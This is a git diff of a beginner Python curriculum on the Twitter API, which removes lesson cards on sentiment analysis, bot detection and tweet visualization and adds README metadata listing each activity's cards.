-Finally the most exciting part...Analyzing the tweets! We already have the text field set up so now let's add columns for other fields such as the id, likes, retweets, etc. We do so by using the numpy arrays and adding one column at a time. The data fed into this is similar to what we did before.
-
-```python
-df['id'] = np.array([tweet.id for tweet in tweets]) #Gets the tweet id
-df['len'] = np.array([len(tweet.text) for tweet in tweets]) #Gets the length of the text
-df['date'] = np.array([tweet.created_at for tweet in tweets]) #Gets the tweet date
-df['source'] = np.array([tweet.source for tweet in tweets]) #Gets the device on which the tweet was uploaded
-df['likes'] = np.array([tweet.favorite_count for tweet in tweets]) #Gets the amount of likes
-df['retweets'] = np.array([tweet.retweet_count for tweet in tweets]) #Gets the amount of retweets
-```
-
-So what we have now is,
-
-
\ No newline at end of file
diff --git a/Module_Twitter_API/activities/Act4_Analyzing tweets/README.md b/Module_Twitter_API/activities/Act4_Analyzing tweets/README.md
new file mode 100644
index 00000000..10bfebe7
--- /dev/null
+++ b/Module_Twitter_API/activities/Act4_Analyzing tweets/README.md
@@ -0,0 +1,86 @@
+\# github_id
+
+21
+
+\# name
+
+Analyzing Tweets
+
+\# description
+
+You will stream and analyze tweets from a specific user.
+
+\# summary
+
+By the end of this activity, we'll be able to stream and analyze tweets from a specific user. We'll be using the tweepy library along with Pandas and Numpy to format our tweet data that we'll be analyzing later.
+
+\# difficulty
+
+Easy
+
+\# image
+
+
+
+\# image_folder
+
+/Module_Twitter_API/activities/Act4_Analyzing tweets
+
+\# cards
+
+\## 1
+
+\### name
+
+Setting up Pandas and Numpy
+
+\### gems
+
+\## 2
+
+\### name
+
+Insight into JSON
+
+\### gems
+
+\## 3
+
+\### name
+
+Accessing Data
+
+\### gems
+
+\## 4
+
+\### name
+
+Getting the Twitter Client API
+
+\### gems
+
+\## 5
+
+\### name
+
+Setting up main
+
+\### gems
+
+\## 6
+
+\### name
+
+Analyzing Tweets
+
+\### gems
+
+\## 7
+
+\### name
+
+Analyzing the tweet
+
+\### gems
+
diff --git a/Module_Twitter_API/activities/Act5_Sentiment Analysis with Twitter API/1.md b/Module_Twitter_API/activities/Act5_Sentiment Analysis with Twitter API/1.md
deleted file mode 100644
index 1898a5b0..00000000
--- a/Module_Twitter_API/activities/Act5_Sentiment Analysis with Twitter API/1.md
+++ /dev/null
@@ -1,8 +0,0 @@
-
-
-## Sentiment Analysis
-
-We've used twitter's API to extract all kinds of data from tweets. Having proficiency over Tweepy will allow us to perform all kinds of tasks.
-
-In this activity, we will be able to take a tweet, and analyze whether it generated a positive or negative reaction. What we are doing is called "Sentiment Analysis" and is a part of Natural Language Processing.
-
diff --git a/Module_Twitter_API/activities/Act5_Sentiment Analysis with Twitter API/2.md b/Module_Twitter_API/activities/Act5_Sentiment Analysis with Twitter API/2.md
deleted file mode 100644
index 5c274039..00000000
--- a/Module_Twitter_API/activities/Act5_Sentiment Analysis with Twitter API/2.md
+++ /dev/null
@@ -1,16 +0,0 @@
-
-
-## Using Textblob
-
-The first task we have to perform is installing a python module called Textblob.
-
-It'd be incredibly difficult to develop our own application to analyze sentiment. We would have to train and develop our own analyzer and this is a daunting task.
-
-Luckily with python, we can install modules that have already been created. For this portion, we will be using a module called "Textblob".
-
-You can install it by going to your command prompt and typing:
-
-```
-pip install textblob
-```
-
diff --git a/Module_Twitter_API/activities/Act5_Sentiment Analysis with Twitter API/3.md b/Module_Twitter_API/activities/Act5_Sentiment Analysis with Twitter API/3.md
deleted file mode 100644
index 3cb2a3cc..00000000
--- a/Module_Twitter_API/activities/Act5_Sentiment Analysis with Twitter API/3.md
+++ /dev/null
@@ -1,19 +0,0 @@
-
-
-## Import Modules
-
-After installing it, we will now need to import this module into our program. This can be done with:
-
-```python
-from textblob import TextBlob
-```
-
-Another module that we would find useful is `re`. This stands for regular expression and we will be using it to "clean" our tweets. Using `re`, we will remove special characters, hyperlinks, and other unnecessary data that doesn't help with Sentiment Analysis.
-
-Import `re` like so:
-
-```python
-import re
-```
-
-
\ No newline at end of file
diff --git a/Module_Twitter_API/activities/Act5_Sentiment Analysis with Twitter API/4.md b/Module_Twitter_API/activities/Act5_Sentiment Analysis with Twitter API/4.md
deleted file mode 100644
index 7747d3e6..00000000
--- a/Module_Twitter_API/activities/Act5_Sentiment Analysis with Twitter API/4.md
+++ /dev/null
@@ -1,12 +0,0 @@
-
-
-## Clean Tweet
-
-Now, we need to write a python function that removes hyperlinks and special characters. This function takes in a tweet and output a string. This function should fall under the class `TweetAnalyzer`
-
-```python
-def clean_tweet(self,tweet):
- return ' '.join(re.sub("(@[A-Za-z0-9]+)|([^0-9A-Za-z\t])|(\w+:\/\/\S+)", " ", tweet).split())
-```
-
-Feel free to simply copy and paste. The block of code's function is to return the input tweet after removing all the special characters and links.
\ No newline at end of file
diff --git a/Module_Twitter_API/activities/Act5_Sentiment Analysis with Twitter API/5.md b/Module_Twitter_API/activities/Act5_Sentiment Analysis with Twitter API/5.md
deleted file mode 100644
index 21d87357..00000000
--- a/Module_Twitter_API/activities/Act5_Sentiment Analysis with Twitter API/5.md
+++ /dev/null
@@ -1,13 +0,0 @@
-
-
-## Analyze Sentiment
-
-Now we will write another function that will analyze the tweet. Call this function `analysis sentiment`. We will be using TextBlob to perform this action.
-
-```python
-def analyze_sentiment(self,tweet):
- analysis = TextBlob(self.clean_tweet(tweet))
-
-```
-
-In the function above, we feed in the "clean" tweet into TextBlob and Textblob will return either a positive or negative value.
\ No newline at end of file
diff --git a/Module_Twitter_API/activities/Act5_Sentiment Analysis with Twitter API/6.md b/Module_Twitter_API/activities/Act5_Sentiment Analysis with Twitter API/6.md
deleted file mode 100644
index b22e3d73..00000000
--- a/Module_Twitter_API/activities/Act5_Sentiment Analysis with Twitter API/6.md
+++ /dev/null
@@ -1,26 +0,0 @@
-
-
-## Interpreting the data
-
-Going back to our `analyze_sentiment` function, `analysis` can return three types of value. If it returns a positive value, that means the sentiment about the tweet is positive. If it returns a negative value, that implies the tweet is negative. If it returns 0, we can not determine the sentiment of the tweet.
-
-`____.sentiment` is a function of `Textblob` that analyzes the sentiment.
-
-`___.sentiment.polarity` is a property of sentiment that returns the negative or positive value.
-
-Attach an `if/else` loop onto our `analyze_sentiment` function depending on the outcome. It should look similar to this:
-
-```python
-def analyze_sentiment
- #...
- if analysis.sentiment.polarity >0:
- return 1
- # returns 1 when the sentiment is postive
- elif alaysis.sentiment.polarity == 0:
- return 0
- # if 0 is returned, we cannot determine the sentiment
- else:
- return -1
- # if its not greater than zero or equal to zero, the sentiment must be positive.
-```
-
diff --git a/Module_Twitter_API/activities/Act5_Sentiment Analysis with Twitter API/7.md b/Module_Twitter_API/activities/Act5_Sentiment Analysis with Twitter API/7.md
deleted file mode 100644
index d5266f41..00000000
--- a/Module_Twitter_API/activities/Act5_Sentiment Analysis with Twitter API/7.md
+++ /dev/null
@@ -1,15 +0,0 @@
-
-
-## Add to Data frame
-
-Now that we've built our function that tells us the sentiment of the tweets, we can now integrate that data into our data frame. We want to call our `tweetAnalyzer` function for every existing `tweet` in our data frame. These lines of code should fall under our if statement.
-
-
-
-```python
-tweet_analyzer = TweetAnalyzer()
-df['sentiment'] = np.array([tweet_analyzer.analyze_sentiment(tweet) for tweet in df['tweets']])
-```
-
-
-
diff --git a/Module_Twitter_API/activities/Act5_Sentiment Analysis with Twitter API/8.md b/Module_Twitter_API/activities/Act5_Sentiment Analysis with Twitter API/8.md
deleted file mode 100644
index b08f9a7f..00000000
--- a/Module_Twitter_API/activities/Act5_Sentiment Analysis with Twitter API/8.md
+++ /dev/null
@@ -1,10 +0,0 @@
-
-
-## Result
-
-Now, print our dataframe and the expected output should look like so:
-
-
-
-
-
diff --git a/Module_Twitter_API/activities/Act5_Sentiment Analysis with Twitter API/README.md b/Module_Twitter_API/activities/Act5_Sentiment Analysis with Twitter API/README.md
new file mode 100644
index 00000000..24a3bc61
--- /dev/null
+++ b/Module_Twitter_API/activities/Act5_Sentiment Analysis with Twitter API/README.md
@@ -0,0 +1,222 @@
+\# github_id
+
+22
+
+\# name
+
+Sentiment Analysis
+
+\# description
+
+You will learn the basics of a dataframes and use it for sentiment analysis.
+
+\# summary
+
+You will learn the basics of a dataframes with Pandas and use it for sentiment analysis to deduce if a piece of text has a negative or positive context.
+
+\# difficulty
+
+Easy
+
+\# image
+
+
+
+\# image_folder
+
+Module_Twitter_API/activities/Act5_Sentiment Analysis with Twitter API
+
+\# cards
+
+\## 1
+
+\### name
+
+Intro to Pandas
+
+\### gems
+
+\## 2
+
+\### name
+
+Reviewing DataFrames
+
+\### gems
+
+\## 3
+
+\### name
+
+Indexing DataFrames
+
+\### gems
+
+\## 4
+
+\### name
+
+Deleting Data
+
+\### gems
+
+\## 5
+
+\### name
+
+Adding Data
+
+\### gems
+
+\## 6
+
+\### name
+
+Looking up your dataframe
+
+\### gems
+
+\## 7
+
+\### name
+
+Advanced DataFrame Operations
+
+\### gems
+
+\## 8
+
+\### name
+
+Back To Our Task
+
+\### gems
+
+\## 9
+
+\### name
+
+Sentiment Analysis
+
+\### gems
+
+\## 10
+
+\### name
+
+Using TextBlob
+
+\### gems
+
+\## 11
+
+\### name
+
+Regular Expressions
+
+\### gems
+
+\## 12
+
+\### name
+
+Regular Expressions [Anchors]
+
+\### gems
+
+\## 13
+
+\### name
+
+Regular Expressions [Quantifiers]
+
+\### gems
+
+\## 14
+
+\### name
+
+Regular Expressions [OR operator]
+
+\### gems
+
+\## 15
+
+\### name
+
+Regular Expressions [Character Classes]
+
+\### gems
+
+\## 16
+
+\### name
+
+Regular Expressions [Flags]
+
+\### gems
+
+\## 17
+
+\### name
+
+Regular Expressions [Grouping and Capture]
+
+\### gems
+
+\## 18
+
+\### name
+
+Regular Expressions [Bracket Expressions]
+
+\### gems
+
+\## 19
+
+\### name
+
+Regular Expressions [Summary]
+
+\### gems
+
+\## 20
+
+\### name
+
+Clean Tweet
+
+\### gems
+
+\## 21
+
+\### name
+
+Analyze Sentiment
+
+\### gems
+
+\## 22
+
+\### name
+
+Analyzing Polarity
+
+\### gems
+
+\## 23
+
+\### name
+
+Add Sentiment to Our Data Frame
+
+\### gems
+
+\## 24
+
+\### name
+
+Result
+
+\### gems
+
diff --git a/Module_Twitter_API/activities/Act5_Sentiment Analysis with Twitter API/twitter5.png b/Module_Twitter_API/activities/Act5_Sentiment Analysis with Twitter API/twitter5.png
deleted file mode 100644
index 753b57c9..00000000
Binary files a/Module_Twitter_API/activities/Act5_Sentiment Analysis with Twitter API/twitter5.png and /dev/null differ
diff --git a/Module_Twitter_API/activities/Act6_Detecting Bots on Twitter/1.md b/Module_Twitter_API/activities/Act6_Detecting Bots on Twitter/1.md
deleted file mode 100644
index a94bfdb0..00000000
--- a/Module_Twitter_API/activities/Act6_Detecting Bots on Twitter/1.md
+++ /dev/null
@@ -1,18 +0,0 @@
-
-
-## Detecting Bots
-
-What are bots?
-
-Bot is short for the word robot. They're basically an independent functioning program that is programmed to be able to interact with online users and such. For example, a bot on Twitter would be an account run by a non-human program tweeting, liking, and retweeting posts.
-
-Let's learn to find possible bots!
-
-In the same file that you did the last activity, type this code:
-
-```python
-print("There are {} different users".format(tweets['Username'].nunique())
-```
-
-This sinpet of code will collect data of unique users from Twitter and tell you the number of of unique users there are. The Username dataframe is from your the last activity, Visualizing Twitter Trends. When ran, you will see something print like "There are 58932 different users" on your terminal.
-
diff --git a/Module_Twitter_API/activities/Act6_Detecting Bots on Twitter/2.md b/Module_Twitter_API/activities/Act6_Detecting Bots on Twitter/2.md
deleted file mode 100644
index aa3678d0..00000000
--- a/Module_Twitter_API/activities/Act6_Detecting Bots on Twitter/2.md
+++ /dev/null
@@ -1,11 +0,0 @@
-
-
-Now we're going to see which user tweets and retweets the most and from that, we might be abele to susect some to be bots!
-
-Add this to your code:
-
-```python
-usertweets = tweets.groupby('Username')
-```
-
-Here, tweets is a pandas dataframe object from the last activity. Then it uses the pandas function [groupby()](https://www.geeksforgeeks.org/python-pandas-dataframe-groupby/), is used to split the data into groups. In this case, by username. All this information is assigned to user tweets which just hold it.
diff --git a/Module_Twitter_API/activities/Act6_Detecting Bots on Twitter/3.md b/Module_Twitter_API/activities/Act6_Detecting Bots on Twitter/3.md
deleted file mode 100644
index 519f4a49..00000000
--- a/Module_Twitter_API/activities/Act6_Detecting Bots on Twitter/3.md
+++ /dev/null
@@ -1,15 +0,0 @@
-
-
-## Taking Top 25 Users
-
-Due the the large amount of users we had, the users who has more activity is more important for us in this case. We just to see the top bit. In this case, let's say we only want to see the top 25 people. Add this code in the same file:
-
-```python
-top_users = usertweets.count(['text'].sort_values(ascending = False)[:25]
-top_users_dict = top_users.to_dict()
-user_ordered_dict = sorted(top_users_dict.items(), key=lambda x:x[1])
-user_ordered_dict = user_ordered_dict[::-1]
-```
-
-The code will take the top 25 most active users and put them into a Python [dictionary](https://www.geeksforgeeks.org/python-dictionary/), "top_users_dict", to store the data. Next, it uses the [sorted()](https://www.geeksforgeeks.org/sorted-function-python/) function from Python to organize the items in the dictionary. Setting the key arguement to `lambda x:x[1]` sorts values of each item based on the value of key.
-
diff --git a/Module_Twitter_API/activities/Act6_Detecting Bots on Twitter/4.md b/Module_Twitter_API/activities/Act6_Detecting Bots on Twitter/4.md
deleted file mode 100644
index 6492691d..00000000
--- a/Module_Twitter_API/activities/Act6_Detecting Bots on Twitter/4.md
+++ /dev/null
@@ -1,22 +0,0 @@
-
-
-## Making Lists Using Dictionary
-
-Now we're just going to make 2 listss, one for the usernames and one with values. This will hold the information seperately so we can use it for plotting. Type this code :
-
-```python
- dict_keys = []
- dict_values = []
-```
-
-`dic_keys` is an list that will hold usernames and `dict_values` will hold values of that user.
-
-Then add this code:
-
-```python
-for item in user_ordered_dict[0:25]:
- dict_keys.append(item[0])
- dict_values.append(item[1])
-```
-
-This code will loop through the dictionary of data from 0 -> 25. When looping it will add users, the 0th index of the item, from the `dict_keys` list and values, the 1st index of the item, from the `dict_values` list.
\ No newline at end of file
diff --git a/Module_Twitter_API/activities/Act6_Detecting Bots on Twitter/5.md b/Module_Twitter_API/activities/Act6_Detecting Bots on Twitter/5.md
deleted file mode 100644
index 74ed69ca..00000000
--- a/Module_Twitter_API/activities/Act6_Detecting Bots on Twitter/5.md
+++ /dev/null
@@ -1,29 +0,0 @@
-5
-
-## Making a Bar Graph
-
-After getting all the data set up, let's plot it.
-
-Add this code in the same file you were just writing previous code on.
-
-```python
-fig = plt.figure(figsize = (15,15)) // indicates the size of plot
-index = np.arange(25)
-plt.bar(index, dict_values, edgecolor = 'black', linewidth=1)
-plt.xlabel('Most active Users', fontsize = 18) // label for the x-axis
-plt.ylabel('Nº of Tweets', fontsize=20) // label y for the x-axis
-plt.xticks(index,dict_keys, fontsize=15, rotation=90)
-plt.title('Number of tweets for the most active users', fontsize = 20)
-plt.savefig('Tweets_of_active_users.jpg')
-plt.show()
-```
-
-The figsize indicates the size of the plot. Since we have the top 25 users, we will make 25 evenly spaced spots on the graph for each of them using the arange() function. The xlabel() and ylabel() respectively sets the label of the axises while Xticks will set ticks marks for on the axises for your graph. Savefig will save this plot straight into a .jpg file given a title. Finally, show() will print out your graph!
-
-All of the functions are from the matplotlib library except arange() which is from numpy.
-
-When ran, you should have something like this.
-
-
-
-In this example plot we have here, we can see @CrytoKaku seems to have been the most active. Could he/she be a bot?
\ No newline at end of file
diff --git a/Module_Twitter_API/activities/Act6_Detecting Bots on Twitter/6.md b/Module_Twitter_API/activities/Act6_Detecting Bots on Twitter/6.md
deleted file mode 100644
index 6861b232..00000000
--- a/Module_Twitter_API/activities/Act6_Detecting Bots on Twitter/6.md
+++ /dev/null
@@ -1,16 +0,0 @@
-
-
-## Botometer
-
-To check it out, we can go on the [Botometer website]( https://botometer.iuni.iu.edu/#!/).
-
-From the data you've gotten, enter the top most active user's username in the screen name bar and click check user button.
-
-
-Botometer will give you a percentage that tells you how likely this account is actually a bot or not. Results would look like this:
-
-
-In this example, we can see the the account @TDataScience is not likely a bot while @CAGeurope has a high chance of being a bot.
-
-Now you know how to detect bots on Twitter!
-
diff --git a/Module_Twitter_API/activities/Act6_Visualizing Twitter Trends/README.md b/Module_Twitter_API/activities/Act6_Visualizing Twitter Trends/README.md
new file mode 100644
index 00000000..61505599
--- /dev/null
+++ b/Module_Twitter_API/activities/Act6_Visualizing Twitter Trends/README.md
@@ -0,0 +1,132 @@
+\# github_id
+
+23
+
+\# name
+
+Visualizing Twitter Trends
+
+\# description
+
+You will retrieve raw Twitter data to create cool visualizations using the Twitter Streaming API.
+
+\# summary
+
+You will retrieve raw Twitter data to create cool visualizations using the Twitter Streaming API.
+
+\# difficulty
+
+Easy
+
+\# image
+
+
+
+\# image_folder
+
+/Module_Twitter_API/activities/Act6_Visualizing Twitter Trends
+
+\# cards
+
+\## 1
+
+\### name
+
+Gathering Data with a Tracklist
+
+\## 2
+
+\### name
+
+Importing Necessary Libraries
+
+\### gems
+
+\## 3
+
+\### name
+
+Reading and Processing Data
+
+\### gems
+
+\## 4
+
+\### name
+
+Checking for Retweets
+
+\### gems
+
+\## 5
+
+\### name
+
+Evaluating if Tweets are Replies
+
+\### gems
+
+\## 6
+
+\### name
+
+Source Field
+
+\### gems
+
+\## 7
+
+\### name
+
+Expressing Data on the Dataframe
+
+\### gems
+
+\## 8
+
+\### name
+
+Data Analysis: Retweets
+
+\### gems
+
+\## 9
+
+\### name
+
+Data Analysis: Replies
+
+\### gems
+
+\## 10
+
+\### name
+
+Data Analysis: Mentions But Not Retweets
+
+\### gems
+
+\## 11
+
+\### name
+
+Data Analysis: Plain Text Tweets
+
+\### gems
+
+\## 12
+
+\### name
+
+Data Visualization of Tweet Categories
+
+\### gems
+
+\## 13
+
+\### name
+
+Data Visualization of Tweet Hashtag
+
+\### gems
+
diff --git a/Module_Twitter_API/activities/Act8_Visualizing Twitter Trends/1.md b/Module_Twitter_API/activities/Act8_Visualizing Twitter Trends/1.md
deleted file mode 100644
index 87dca702..00000000
--- a/Module_Twitter_API/activities/Act8_Visualizing Twitter Trends/1.md
+++ /dev/null
@@ -1,34 +0,0 @@
-
-
-
-
-# Gathering Data with a Tracklist
-
-
-
-In today's activity, we are going to retrieve raw Twitter data to create cool visualizations using the Twitter Streaming API. In your previous activity, you should have learned how to download tweet data using the Streaming API. From that activity, you should have created a tweet downloading script.
-
-You should already have your main function look like this:
-
-```python
-if __name__ == '__main__':
-# Handle Twitter authetification and the connection to Twitter Streaming API
-####INSERT LINE OF CODE HERE!
- l = StdOutListener()
- auth = OAuthHandler(consumer_key, consumer_secret)
- auth.set_access_token(access_token, access_token_secret)
- stream = Stream(auth, l)
- stream.filter(track=tracklist)
-```
-
-Right under the comment (#) portion in the main function insert this line of code and change the values of *#HASHTAG1, #HASHTAG2 and #HASHTAG3* to hashtags related to the topic you want to collect data for. More or less hashtags can be included in this list.
-
-```python
-tracklist = ['#HASHTAG1', '#HASHTAG2', '#HASHTAG3']
-```
-
-Once the script is ready, run it and pipe its output to a .txt file in this manner, like described in the aforementioned activity:
-
-**Twitter_Downloader.py > twitter_data.txt**
-
-Leave it running for a while, and that’s it, you got your data ready to be analyzed!
\ No newline at end of file
diff --git a/Module_Twitter_API/activities/Act8_Visualizing Twitter Trends/2.md b/Module_Twitter_API/activities/Act8_Visualizing Twitter Trends/2.md
deleted file mode 100644
index a5509e77..00000000
--- a/Module_Twitter_API/activities/Act8_Visualizing Twitter Trends/2.md
+++ /dev/null
@@ -1,51 +0,0 @@
-
-
-
-
-# Reading in the .txt file
-
-Now that our data is collected, we will now prepare the data.
-
-1. Start by importing the libraries that are needed for the analysis and visualization:
-
-```
-#Import all the needed libraries
-import pandas as pd
-import numpy as np
-import matplotlib.pyplot as plt
-import json
-import seaborn as sns
-import re
-import collections
-from wordcloud import WordCloud
-```
-
-2. Then, we will read the data that we have collected and process it. Remember that the output of the Streaming API is a JSON object for each tweet, with many fields that can provide very useful information. In the following block of code, we read these tweets from the .txt file where they are stored:
-
-```python
-#Reading the raw data collected from the Twitter Streaming API using #Tweepy.
-tweets_data = []
-tweets_data_path = 'Brexit_tweets_1.txt'
-tweets_file = open(tweets_data_path, "r") ##change to filename
-for line in tweets_file:
- try:
- tweet = json.loads(line)
- tweets_data.append(tweet)
- except:
- continue
-```
-
-In the piece of code, you will have to change the string ***tweets_data_path\*** to the name of the document where you have stored your data.
-
-3. While downloading the data, there might be connection issues or other errors. To fix this, go into the .txt file on where we have stored the tweets and delete the error codes. To get rid of them, run the following line of code after reading the .txt file.
-
-```python
-#Error codes from the Twitter API can be inside the .txt document, #take them off
-tweets_data = [x for x in tweets_data if not isinstance(x, int)]
-```
-
-4. Now, you can see how many *tweets* we have collected by inserting this line of code into your main function:
-
-```python
-print("The total number of Tweets is:",len(tweets_data))
-```
\ No newline at end of file
diff --git a/Module_Twitter_API/activities/Act8_Visualizing Twitter Trends/3.md b/Module_Twitter_API/activities/Act8_Visualizing Twitter Trends/3.md
deleted file mode 100644
index d577361f..00000000
--- a/Module_Twitter_API/activities/Act8_Visualizing Twitter Trends/3.md
+++ /dev/null
@@ -1,61 +0,0 @@
-
-
-
-
-# Functions to Read Data
-
-Now that we have read in the .txt file and have our tweets in JSON format ready, we will implement some functions to map some of the parameters of these JSON objects to columns of a Pandas dataframe where we will store the *tweets* from now on. Going back the Python file where you imported the Python modules, we will start making functions to read the data.
-
-1. First, create a function that allows us to see if the selected *tweet* is a *retweet* or not. This is done in a by evaluating if the JSON object includes a field called ‘*retweeted status’* or not. This function returns a boolean True value if the *tweet* is a retweet, and False if its not.
-
- ```python
- #Create a function to see if the tweet is a retweet
- def is_RT(tweet):
- if 'retweeted_status' not in tweet:
- return False
- else:
- return True
- ```
-
-2. Now, evaluate if the downloaded *tweets* are a reply to some other users' *tweets*. This is done similarly to the code above but it also checks for the absence of certain fields within the JSON object. We will use the ‘*in_reply_to_screen_name*’ field, so that aside from seeing if the tweet is a response or not, we can see which user the *tweet* is responding to.
-
- ```python
- #Create a function to see if the tweet is a reply to a tweet of #another user, if so return said user.
- def is_Reply_to(tweet):
- if 'in_reply_to_screen_name' not in tweet:
- return False
- else:
- return tweet['in_reply_to_screen_name']
- ```
-
-3. Lastly, the tweet JSON object includes a ‘*source*’ field, which is kind of an identifier of the device or application from which the *tweet* was posted. Twitter does not provide an extensive guideline on how to map this source field to actual devices. With that, create a function that can give us information to the different possible source information.
-
-4. ```python
- #Create function for taking the most used Tweet sources off the #source column def reckondevice(tweet):
- if 'iPhone' in tweet['source'] or ('iOS' in tweet['source']):
- return 'iPhone'
- elif 'Android' in tweet['source']:
- return 'Android'
- elif 'Mobile' in tweet['source'] or ('App' in tweet['source']):
- return 'Mobile device'
- elif 'Mac' in tweet['source']:
- return 'Mac'
- elif 'Windows' in tweet['source']:
- return 'Windows'
- elif 'Bot' in tweet['source']:
- return 'Bot'
- elif 'Web' in tweet['source']:
- return 'Web'
- elif 'Instagram' in tweet['source']:
- return 'Instagram'
- elif 'Blackberry' in tweet['source']:
- return 'Blackberry'
- elif 'iPad' in tweet['source']:
- return 'iPad'
- elif 'Foursquare' in tweet['source']:
- return 'Foursquare'
- else:
- return '-'
- ```
-
-Now that you have created all these function, we are ready to pass our tweets into a dataframe for easier processing. Move along to the next part of the activity to continue.
\ No newline at end of file
diff --git a/Module_Twitter_API/activities/Act8_Visualizing Twitter Trends/4.md b/Module_Twitter_API/activities/Act8_Visualizing Twitter Trends/4.md
deleted file mode 100644
index 60e66565..00000000
--- a/Module_Twitter_API/activities/Act8_Visualizing Twitter Trends/4.md
+++ /dev/null
@@ -1,32 +0,0 @@
-
-
-
-
-# Expressing Data on the Dataframe
-
-Now that you finished creating the functions, we are going to pass our tweets into a dataframe for easier processing.
-
-We are going to convert the tweets in the JSON file to Pandas Dataframe so we can easily see it in that application. To do so, insert this code into your python file.
-
-```python
-#Convert the Tweet JSON data to a pandas Dataframe, and take the #desired fields from the JSON. More could be added if needed.
-tweets = pd.DataFrame()
-tweets['text'] = list(map(lambda tweet: tweet['text'] if 'extended_tweet' not in tweet else tweet['extended_tweet']['full_text'], tweets_data))
-tweets['Username'] = list(map(lambda tweet: tweet['user']['screen_name'], tweets_data))
-tweets['Timestamp'] = list(map(lambda tweet: tweet['created_at'], tweets_data))
-tweets['length'] = list(map(lambda tweet: len(tweet['text']) if'extended_tweet' not in tweet else len(tweet['extended_tweet']['full_text']) , tweets_data))
-tweets['location'] = list(map(lambda tweet: tweet['user']['location'], tweets_data))
-tweets['device'] = list(map(reckondevice, tweets_data))
-tweets['RT'] = list(map(is_RT, tweets_data))
-tweets['Reply'] = list(map(is_Reply_to, tweets_data))
-```
-
-> The *‘Username*’ column of the dataframe depicts the user who posted the tweet, and all the other columns are pretty much self-explanatory.
-
-
-
-To look at the head of our dataframe, it should look something like this when we call **tweets.head()** in our Python file.
-
-
-
-With that, our dataframe is built and now we can explore the data.
\ No newline at end of file
diff --git a/Module_Twitter_API/activities/Act8_Visualizing Twitter Trends/5.md b/Module_Twitter_API/activities/Act8_Visualizing Twitter Trends/5.md
deleted file mode 100644
index 33a14ff2..00000000
--- a/Module_Twitter_API/activities/Act8_Visualizing Twitter Trends/5.md
+++ /dev/null
@@ -1,53 +0,0 @@
-
-
-
-
-# Data Analysis
-
-Now that our data is all organized onto the Dataframe, we will now analysis it.
-
-1. First, let's see how many ***tweets* are *retweets***. This code will give you the percentage of retweets within your set of tweets.
-
- ```python
- #See the percentage of tweets from the initial set that are #retweets:
- RT_tweets = tweets[tweets['RT'] == True]
- print(f"The percentage of retweets is {round(len(RT_tweets)/len(tweets)*100)}% of all the tweets")
- ```
-
- You will notice that you will get a somewhat high percentage in retweets. This indicates that most users do not produce their own content but instead forward content from other users.
-
-
-
-2. Next, we will analyze how many *tweets* are downloaded from the Streaming API that are **replies to *tweets*** of another user.
-
- ```python
- #See the percentage of tweets from the initial set that are replies #to tweets of another user:
- Reply_tweets = tweets[tweets['Reply'].apply(type) == str]
- print(f"The percentage of retweets is {round(len(Reply_tweets)/len(tweets)*100)}% of all the tweets")
- ```
-
- You will notice that the percentage is low since a small percentage of users reply to other users' tweets.
-
-
-
-3. Now lets see the percentage of tweets that have **mentions but are not retweets**. Note that these *tweets* include the previous reply tweets. The tweets with mentions that are not replies or retweets are just tweets that include said mention somewhere in the middle of the text
-
- ```python
- #See the percentage of tweets from the initial set that have #mentions and are not retweets:
- mention_tweets = tweets[~tweets['text'].str.contains("RT") & tweets['text'].str.contains("@")]
- print(f"The percentage of retweets is {round(len(mention_tweets)/len(tweets)*100)}% of all the tweets")
- ```
-
-
-
-4. Lastly, lets see how many *tweets* are just **plain text *tweets***, with no mention or retweets.
-
- ```python
- #See how many tweets inside are plain text tweets (No RT or mention)
- plain_text_tweets = tweets[~tweets['text'].str.contains("@") & ~tweets['text'].str.contains("RT")]
- print(f"The percentage of retweets is {round(len(plain_text_tweets)/len(tweets)*100)}% of all the tweets")
- ```
-
-
-
-With all of these percentage, we will now plot it and create a visualization. Continue to the next part of the activity to create the visualization.
\ No newline at end of file
diff --git a/Module_Twitter_API/activities/Act8_Visualizing Twitter Trends/6.md b/Module_Twitter_API/activities/Act8_Visualizing Twitter Trends/6.md
deleted file mode 100644
index 71682cfb..00000000
--- a/Module_Twitter_API/activities/Act8_Visualizing Twitter Trends/6.md
+++ /dev/null
@@ -1,29 +0,0 @@
-
-
-
-
-# Data Visualization of Tweet Categories
-
-With all the percentages we got from the previous part of the activity, we will use them to create a visualization.
-
-1. First, let's make a plot out of all of these categories to better compare their proportions:
-
- ```python
- #Now we will plot all the different categories. Note that the reply #tweets are inside the mention tweets
- len_list = [ len(tweets), len(RT_tweets),len(mention_tweets), len(Reply_tweets), len(plain_text_tweets)]
- item_list = ['All Tweets','Retweets', 'Mentions', 'Replies', 'Plain text tweets']
- plt.figure(figsize=(15,8))
- sns.set(style="darkgrid")
- plt.title('Tweet categories', fontsize = 20)
- plt.xlabel('Type of tweet')
- plt.ylabel('Number of tweets')
- sns.barplot(x = item_list, y = len_list, edgecolor = 'black', linewidth=1)
-
- plt.show()
- ```
-
- When running this piece of code in your Python file, you see a graph similar to this.
-
- 
-
-
\ No newline at end of file
diff --git a/Module_Twitter_API/labs/Week 1/Visualizing Tweets - Celebrities/README.md b/Module_Twitter_API/labs/Week 1/Visualizing Tweets - Celebrities/README.md
new file mode 100644
index 00000000..e8416203
--- /dev/null
+++ b/Module_Twitter_API/labs/Week 1/Visualizing Tweets - Celebrities/README.md
@@ -0,0 +1,374 @@
+# github_id
+18
+
+# name
+Visualizing Tweets - Celebrities
+
+# description
+We'll be analyzing the frequencey of words in tweets using Twitters API and tweepy package in Python.
+
+# summary
+Using Twitter's API and tweepy package in Python, we'll create a word cloud to observe the frequency of words in a celebrity's tweets. We'll be using these libraries: tweepy, pandas, sys, csv, WordCloud and STOPWORDS from wordcloud, matplotlib, matplotlib.pyplot, string, re, PIL.
+
+# difficulty
+Easy
+
+# image
+
+
+# image_folder
+Bit\curriculum\Module_Twitter_API\labs\Week 1\Visualizing Tweets - Celebrities
+
+# cards
+
+## 1
+
+### name
+Visualizing Tweets
+
+### order
+1
+
+### gems
+
+
+## 2
+
+### name
+Obtaining Tweet Data
+
+### order
+2
+
+### gems
+
+
+## 3
+
+### name
+Extracting Tweets Into .csv File
+
+### order
+3
+
+### gems
+
+
+## 4
+
+### name
+Cleansing Tweets
+
+### order
+4
+
+### gems
+
+
+## 5
+
+### name
+Displaying Word Cloud
+
+### order
+5
+
+### gems
+
+
+## 1-1
+
+### name
+Importing Libraries
+
+### order
+1
+
+### gems
+
+
+## 2-1
+
+### name
+Authorization Keys and Calling API
+
+### order
+1
+
+### gems
+
+
+## 3-1
+
+### name
+Extracting Tweets
+
+### order
+1
+
+### gems
+
+
+## 3-2
+
+### name
